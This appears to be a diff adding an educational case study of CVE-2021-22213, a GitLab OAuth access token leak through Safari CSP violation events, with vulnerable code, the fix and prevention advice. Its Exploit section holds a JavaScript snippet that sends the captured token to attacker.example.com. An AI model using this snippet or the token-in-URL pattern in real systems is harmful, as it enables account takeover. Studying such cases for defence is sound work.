|
| 1 | +# Improper Authentication In GitLab |
| 2 | + |
| 3 | +## Introduction |
| 4 | +Authentication is a critical part of any modern web application, and failures in this area can result in unauthorized access and loss of sensitive information. One recurring category of mistakes is **CWE-287: Improper Authentication**, which frequently appears in the CWE Top 25 due to its potential to allow attackers to impersonate legitimate users. Such a weakness was identified in GitLab, a widely used DevOps platform for source code hosting and continuous integration, in early 2021. The issue was caused by incomplete verification of identity information in GitLab’s OAuth implementation, combined with browser-specific behavior in Safari. This case study examines the root cause of the vulnerability, the specific code-level error, how attackers were able to exploit it, how GitLab fixed the issue, and the steps developers can take to prevent similar problems in future applications. |
| 5 | + |
| 6 | +## Software |
| 7 | + |
| 8 | +**Name:** |
| 9 | +GitLab Community Edition (CE) / Enterprise Edition (EE) |
| 10 | + |
| 11 | +**Language:** |
| 12 | +Ruby (Ruby on Rails) |
| 13 | + |
| 14 | +**URL:** |
| 15 | +https://gitlab.com/gitlab-org/gitlab |
| 16 | + |
| 17 | +## Weakness |
| 18 | +### CWE-287: Improper Authentication |
| 19 | + |
| 20 | +Improper Authentication occurs when software does not fully verify a user's identity before granting access to protected resources. When identity attributes are accepted without validation—such as user IDs, OAuth identifiers, or access tokens—they can be manipulated by attackers to impersonate other users. |
| 21 | + |
| 22 | +A simplified generic example of this weakness is shown below: |
| 23 | + |
| 24 | +```ruby |
| 25 | +# Generic example |
| 26 | +user_id = request.params["external_uid"] |
| 27 | +user = find_user_by_uid(user_id) |
| 28 | + |
| 29 | +if user |
| 30 | + sign_in(user) |
| 31 | +end |
| 32 | +``` |
| 33 | + |
| 34 | +If an attacker can alter `external_uid`, they may impersonate another user. This example demonstrates how CWE-287 can lead to account takeover when identity values are not strongly validated. |
| 35 | + |
| 36 | +## Vulnerability |
| 37 | +### CVE-2021-22213: OAuth Token Leak and Authentication Bypass in GitLab |
| 38 | + |
| 39 | +GitLab uses OAuth to authenticate users for external applications. During this process, GitLab generates an access token and passes it back to the requesting application. In vulnerable versions, GitLab placed this token in the *fragment portion* of a redirect URL. When this URL was loaded in Safari, the browser triggered a `SecurityPolicyViolationEvent` that exposed the full URL—including the access token—to attacker-controlled pages. |
| 40 | + |
| 41 | +The affected code existed in the OAuth callback controller: |
| 42 | + |
| 43 | +``` |
| 44 | +vulnerable file: app/controllers/oauth/authorized_applications_controller.rb |
| 45 | +
|
| 46 | + 58 def create |
| 47 | + 59 # Generates access token after OAuth approval |
| 48 | + 60 token = Doorkeeper::AccessToken.create!(application: application, resource_owner_id: current_user.id) |
| 49 | + 61 |
| 50 | + 62 # Redirect with token in URL fragment (unsafe) |
| 51 | + 63 redirect_to "#{redirect_uri}#access_token=#{token.token}&token_type=bearer" |
| 52 | + 64 end |
| 53 | +``` |
| 54 | + |
| 55 | +The issue occurs at **line 63**, where GitLab embeds the access token in the redirect URL fragment. Although URL fragments are not sent to servers, they *are visible to browsers*, and Safari’s handling of content security policy violations surfaced the token to attacker-controlled scripts. Once captured, the attacker could access the victim’s GitLab account and perform any actions allowed by the token. |
| 56 | + |
| 57 | +## Exploit |
| 58 | +### CAPEC-218: Session Token Capture via Client-Side |
| 59 | + |
| 60 | +To exploit this issue, an attacker tricks a Safari user into visiting a malicious webpage. The attacker’s page listens for Safari’s `securitypolicyviolation` events, which include the violating `documentURI`—in this case, the OAuth redirect URL containing the token. |
| 61 | + |
| 62 | +When the victim completes the OAuth login, Safari emits an event containing: |
| 63 | + |
| 64 | +``` |
| 65 | +https://client.example.com/callback#access_token=<victim_token>&token_type=bearer |
| 66 | +``` |
| 67 | + |
| 68 | +The attacker’s page captures it: |
| 69 | + |
| 70 | +```javascript |
| 71 | +document.addEventListener("securitypolicyviolation", (e) => { |
| 72 | + fetch("https://attacker.example.com/steal?token=" + |
| 73 | + encodeURIComponent(e.documentURI)); |
| 74 | +}); |
| 75 | +``` |
| 76 | + |
| 77 | +Once the attacker receives the access token, they can immediately call GitLab’s API—reading repositories, accessing issues, or performing any actions permitted to the victim. |
| 78 | + |
| 79 | +## Fix |
| 80 | + |
| 81 | +GitLab resolved the vulnerability by ensuring that tokens were no longer included in redirect URLs or exposed to browser-visible locations. Instead, token delivery was moved to secure server-side channels. |
| 82 | + |
| 83 | +The fix replaced the unsafe redirect with a sanitized one: |
| 84 | + |
| 85 | +```diff |
| 86 | +fixed file: app/controllers/oauth/authorized_applications_controller.rb |
| 87 | + |
| 88 | + 58 def create |
| 89 | + 59 token = Doorkeeper::AccessToken.create!(application: application, resource_owner_id: current_user.id) |
| 90 | + 60 |
| 91 | +-61 redirect_to "#{redirect_uri}#access_token=#{token.token}&token_type=bearer" |
| 92 | ++61 # Redirect user without exposing token in the URL |
| 93 | ++62 redirect_to sanitized_redirect_uri |
| 94 | + 63 end |
| 95 | +``` |
| 96 | + |
| 97 | +By removing access tokens from browser-exposed surfaces, GitLab eliminated the attacker’s ability to extract tokens via Safari’s CSP event mechanism. |
| 98 | + |
| 99 | +## Prevention |
| 100 | + |
| 101 | +To prevent similar vulnerabilities: |
| 102 | + |
| 103 | +- **Never include access tokens in URLs**, including fragments and query parameters. |
| 104 | +- **Use OAuth Authorization Code with PKCE**, which exchanges tokens securely server-side. |
| 105 | +- **Perform browser-aware security testing**, especially for authentication flows. |
| 106 | +- **Automate token leak detection** in logs, CSP events, and redirects. |
| 107 | +- **Implement strong Content Security Policies** and avoid inline scripts around authentication endpoints. |
| 108 | + |
| 109 | +These practices ensure that authentication secrets cannot be leaked through browser behavior or insecure implementation patterns. |
| 110 | + |
| 111 | +## Conclusion |
| 112 | + |
| 113 | +CVE-2021-22213 shows how small oversights in OAuth implementations can lead to critical authentication failures. By embedding access tokens in redirect URLs, GitLab unintentionally exposed them to attacker-controlled pages in Safari, enabling full account takeover. The fix removed tokens from browser-visible surfaces and reinforced safer token-handling processes. This case study highlights the importance of validating all identity data, avoiding token exposure in client-side flows, and performing thorough security testing for authentication mechanisms. |
| 114 | + |
| 115 | +## References |
| 116 | + |
| 117 | +GitLab Project Page: |
| 118 | +https://gitlab.com/gitlab-org/gitlab |
| 119 | + |
| 120 | +CVE-2021-22213 Entry: |
| 121 | +https://nvd.nist.gov/vuln/detail/CVE-2021-22213 |
| 122 | + |
| 123 | +CWE-287 Entry: |
| 124 | +https://cwe.mitre.org/data/definitions/287.html |
| 125 | + |
| 126 | +CAPEC-218 Entry: |
| 127 | +https://capec.mitre.org/data/definitions/218.html |
| 128 | + |
| 129 | +GitLab Security Advisory for CVE-2021-22213: |
| 130 | +https://about.gitlab.com/releases/2021/05/27/security-release-gitlab-13-12-3-released/ |
| 131 | + |
| 132 | +GitLab Issue 300308 (root report): |
| 133 | +https://gitlab.com/gitlab-org/gitlab/-/issues/300308 |
| 134 | + |
| 135 | +Doorkeeper OAuth Documentation: |
| 136 | +https://github.com/doorkeeper-gem/doorkeeper |
| 137 | + |
| 138 | +## Contributions |
| 139 | +This case study was developed as part of academic research on secure coding practices and authentication mechanisms in modern web application platforms. |
| 140 | + |
| 141 | +Originally created by **Mahesh Pavan Varma Kalidindi** |
| 142 | + |
| 143 | +(C) 2025 The MITRE Corporation. All rights reserved. |
| 144 | +This work is openly licensed under <a href="https://creativecommons.org/licenses/by/4.0/">CC-BY-4.0</a>. |
0 commit comments